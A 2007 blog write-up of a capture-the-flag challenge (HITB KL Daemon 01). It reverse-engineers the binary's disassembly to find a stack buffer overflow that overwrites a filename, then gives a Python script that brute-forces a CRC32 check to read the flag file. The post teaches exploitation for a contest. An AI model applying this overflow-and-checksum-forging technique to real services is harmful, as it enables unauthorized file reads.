Sections
Personal tools
You are here: Home people lamer Archive 2007 September 11 Exploiting HITB 2007 KL CTF Daemon 01
Document Actions

Exploiting HITB 2007 KL CTF Daemon 01

by lamer last modified 2007-09-15 13:03

Daemon 01 in the HITBSecConf 2007 Kuala Lumpur's Capture the Flag competition is a classical buffer overflow with a CRC32 check. Exploiting can be easily done by matching this CRC value.

Identifying the main function

IDA will land us right here when it finishes analysis.

.text:08048830                 public start
.text:08048830 start proc near
.text:08048830 xor ebp, ebp .text:08048832 pop esi .text:08048833 mov ecx, esp .text:08048835 and esp, 0FFFFFFF0h .text:08048838 push eax .text:08048839 push esp .text:0804883A push edx .text:0804883B push offset sub_804C700
.text:08048840 push offset sub_804C6A0
.text:08048845 push ecx .text:08048846 push esi .text:08048847 push offset main
.text:0804884C call ___libc_start_main

Notice at 08048847, I have renamed the function as main.

Analyzing main

Let's get to main now. The function starts with:

.text:08048AA1 main            proc near               ; DATA XREF: start+17↑o
.text:08048AA1
.text:08048AA1 first_arg       = dword ptr -2F8h
.text:08048AA1 second_arg      = dword ptr -2F4h
.text:08048AA1 third_arg       = dword ptr -2F0h
.text:08048AA1 var_2EC         = dword ptr -2ECh
.text:08048AA1 var_2E8         = dword ptr -2E8h
.text:08048AA1 var_260         = dword ptr -260h
.text:08048AA1 num_read        = dword ptr -25Ch
.text:08048AA1 input_buffer    = dword ptr -258h
.text:08048AA1 var_4C          = dword ptr -4Ch
.text:08048AA1 filename        = dword ptr -48h
.text:08048AA1
.text:08048AA1                 push    ebp
.text:08048AA2                 mov     ebp, esp
.text:08048AA4                 sub     esp, 2F8h       ; fildes
.text:08048AAA                 and     esp, 0FFFFFFF0h
.text:08048AAD                 mov     eax, 0
.text:08048AB2                 add     eax, 0Fh
.text:08048AB5                 add     eax, 0Fh
.text:08048AB8                 shr     eax, 4
.text:08048ABB                 shl     eax, 4
.text:08048ABE                 sub     esp, eax
.text:08048AC0                 mov     [esp+2F8h+first_arg], offset static_buffer
.text:08048AC7 call sub_80489E2
.text:08048ACC mov [esp+2F8h+third_arg], 200h .text:08048AD4 mov [esp+2F8h+second_arg], 0 .text:08048ADC lea eax, [ebp+input_buffer]
.text:08048AE2 mov [esp+2F8h+first_arg], eax .text:08048AE5 call _memset
.text:08048AEA mov [esp+2F8h+third_arg], 40h .text:08048AF2 mov [esp+2F8h+second_arg], 0 .text:08048AFA lea eax, [ebp+filename]
.text:08048AFD mov [esp+2F8h+first_arg], eax .text:08048B00 call _memset
.text:08048B05 mov [esp+2F8h+second_arg], offset aProcSelfMaps ; "/proc/self/maps" .text:08048B0D lea eax, [ebp+filename]
.text:08048B10 mov [esp+2F8h+first_arg], eax .text:08048B13 call _strcpy
.text:08048B18 mov [esp+2F8h+third_arg], 400h .text:08048B20 lea eax, [ebp+input_buffer]
.text:08048B26 mov [esp+2F8h+second_arg], eax .text:08048B2A mov [esp+2F8h+first_arg], 0 .text:08048B31 call _read
.text:08048B36 mov [ebp+num_read], eax .text:08048B3C cmp [ebp+num_read], 0FFFFFFFFh .text:08048B43 jnz short loc_8048B5D
.text:08048B45 mov [esp+2F8h+first_arg], offset aRead ; "read" .text:08048B4C call _perror
.text:08048B51 mov [esp+2F8h+first_arg], 1 .text:08048B58 call _exit

Well, you may have noticed that the names are not what you have in your IDA listing. These names are my names given to those identifiers after analyzing the function. So let's see how we could arrive to the same naming.

First, there is a call to sub_80489E2 and a static_buffer is passed to it. You will be right to guess this is some kind of initialization routine. Why static_buffer? Because it is static (located in .bss segment) and it is a buffer.

Next to it, some sort of buffer is reset to 0 with memset (0x200 bytes). Notice GCC uses mov instead of push to pass arguments to function. Some lowest (top) slots on the stack have been reserved for this purpose. So, a mov to the lowest slot is equivalent to the last push, or in other words, the first argument. And therefore I named the lowest slot first_arg, followed (logically) by second_arg and so on.

We see another buffer being reset to 0 (0x40 bytes). Then right after that, /proc/self/maps is strcpy'd to that buffer. Well, let's not waste anytime and mark it filename.

With one buffer marked, we still have one left. Luckily, the next call to read tells us that the remaining buffer should be named input_buffer. Right?

But, hey, wait, the read was for 0x400 bytes while input_buffer is only (0x258 - 0x4C) byte long. That is, if you fill input_buffer with (0x258 - 0x4C) bytes you will hit var_4C, and if you fill 4 bytes more than that, you will hit the beginning of filename. How wonderful! It gives you control over filename.

Let's move on.

.text:08048B5D loc_8048B5D:                            ; CODE XREF: main+A2↑j
.text:08048B5D                 mov     [esp+2F8h+third_arg], offset aEtcFlagsDaemon ; "/etc/flags/daemon01.txt"
.text:08048B65                 mov     eax, [ebp+num_read]
.text:08048B6B mov [esp+2F8h+second_arg], eax .text:08048B6F lea eax, [ebp+input_buffer]
.text:08048B75 mov [esp+2F8h+first_arg], eax .text:08048B78 call is_from_server
.text:08048B7D mov [esp+2F8h+third_arg], offset static_buffer
.text:08048B85 mov eax, [ebp+num_read]
.text:08048B8B mov [esp+2F8h+second_arg], eax .text:08048B8F lea eax, [ebp+input_buffer]
.text:08048B95 mov [esp+2F8h+first_arg], eax .text:08048B98 call CRC32
.text:08048B9D mov [ebp+var_4C], eax .text:08048BA0 cmp [ebp+var_4C], 0FEEDAFEDh .text:08048BA7 jnz short loc_8048C25
.text:08048BA9 mov [esp+2F8h+second_arg], offset aR ; "r" .text:08048BB1 lea eax, [ebp+filename]
.text:08048BB4 mov [esp+2F8h+first_arg], eax .text:08048BB7 call _fopen
.text:08048BBC mov [ebp+var_260], eax .text:08048BC2 cmp [ebp+var_260], 0 .text:08048BC9 jz short loc_8048C25

Please just take it for granted that at 08048B78 is a call to process score server packets. So let's skip it over and analyze the next call.

.text:08048A4C CRC32           proc near               ; CODE XREF: main+F7↓p
.text:08048A4C
.text:08048A4C var_8           = dword ptr -8
.text:08048A4C var_4           = dword ptr -4
.text:08048A4C arg_0           = dword ptr  8
.text:08048A4C arg_4           = dword ptr  0Ch
.text:08048A4C arg_8           = dword ptr  10h
.text:08048A4C
.text:08048A4C                 push    ebp
.text:08048A4D                 mov     ebp, esp
.text:08048A4F                 sub     esp, 8
.text:08048A52                 mov     [ebp+var_8], 0FFFFFFFFh
.text:08048A59                 mov     [ebp+var_4], 0
.text:08048A60
.text:08048A60 loc_8048A60:                            ; CODE XREF: CRC32+4C↓j
.text:08048A60                 mov     eax, [ebp+var_4]
.text:08048A63 cmp eax, [ebp+arg_4]
.text:08048A66 jge short loc_8048A9A
.text:08048A68 mov eax, [ebp+var_8]
.text:08048A6B mov ecx, eax .text:08048A6D shr ecx, 8 .text:08048A70 mov eax, [ebp+var_4]
.text:08048A73 add eax, [ebp+arg_0]
.text:08048A76 movzx eax, byte ptr [eax]
.text:08048A79 xor eax, [ebp+var_8]
.text:08048A7C and eax, 0FFh .text:08048A81 lea edx, ds:0[eax*4]
.text:08048A88 mov eax, [ebp+arg_8]
.text:08048A8B mov eax, [edx+eax]
.text:08048A8E xor eax, ecx .text:08048A90 mov [ebp+var_8], eax .text:08048A93 lea eax, [ebp+var_4]
.text:08048A96 inc dword ptr [eax]
.text:08048A98 jmp short loc_8048A60
.text:08048A9A ; --------------------------------------------------------------------------- .text:08048A9A .text:08048A9A loc_8048A9A: ; CODE XREF: CRC32+1A↑j .text:08048A9A mov eax, [ebp+var_8]
.text:08048A9D not eax .text:08048A9F leave .text:08048AA0 retn .text:08048AA0 CRC32 endp

If you have seen CRC32 routine before, you will be able to tell this is it. A few signatures are the 0xFFFFFFFF initial value, the "take each character, xor it, and logical and it with 0xFF" (movzx, xor and and starting from 08048A76, and the negation at 08048A9D.

And you'll be tempting to rename static_buffer to crc32_table. But that's beside the point.

Now we go back to the main function. After taking CRC32 value of the whole read input_buffer, the value is compared with 0xFEEDAFED. If it is equal, then the filename is open, read and written out.

Exploit it

Let's gather what we've got. First we are able to overflow the filename buffer. Second, if the CRC value matches 0xFEEDAFED, the file identified by filename will be opened, read, and written out to stdout. And there lies our only challenge, to construct a buffer with CRC32 value matching 0xFEEDAFED.

import zlib
buffer = "a" * (0x258 - 0x48) + "/etc/flags/daemon01.txt\x00"

def fix_crc(buffer, target_crc):
buffer_crc = zlib.crc32(buffer)
charset = [chr(x) for x in range(256)]
fix = ['a'] * 4
crc = [0] * 4
for fix[0] in charset:
crc[0] = zlib.crc32(fix[0], buffer_crc)
for fix[1] in charset:
crc[1] = zlib.crc32(fix[1], crc[0])
for fix[2] in charset:
crc[2] = zlib.crc32(fix[2], crc[1])
for fix[3] in charset:
crc[3] = zlib.crc32(fix[3], crc[2])
if (crc[3] & 0xFFFFFFFF) == target_crc:
return ''.join(fix)

buffer = buffer + fix_crc(buffer, 0xFEEDAFED)

Behold our super-elite Python code! It will generate an exploit string ready to be sent to port 1111. Of course it runs damn slow. You are better off applying the reverse CRC32 described by anarchriz.

Observation

This daemon is similar to last year HITB 2006 KL CTF. Last year the CRC32 is a bit different, it used the same lookup table but initial value was not the standard 0xFFFFFFFF and there was no negation at the end. This year, the CRC32 is the standard CRC32 used in Zlib.



Powered by Plone CMS, the Open Source Content Management System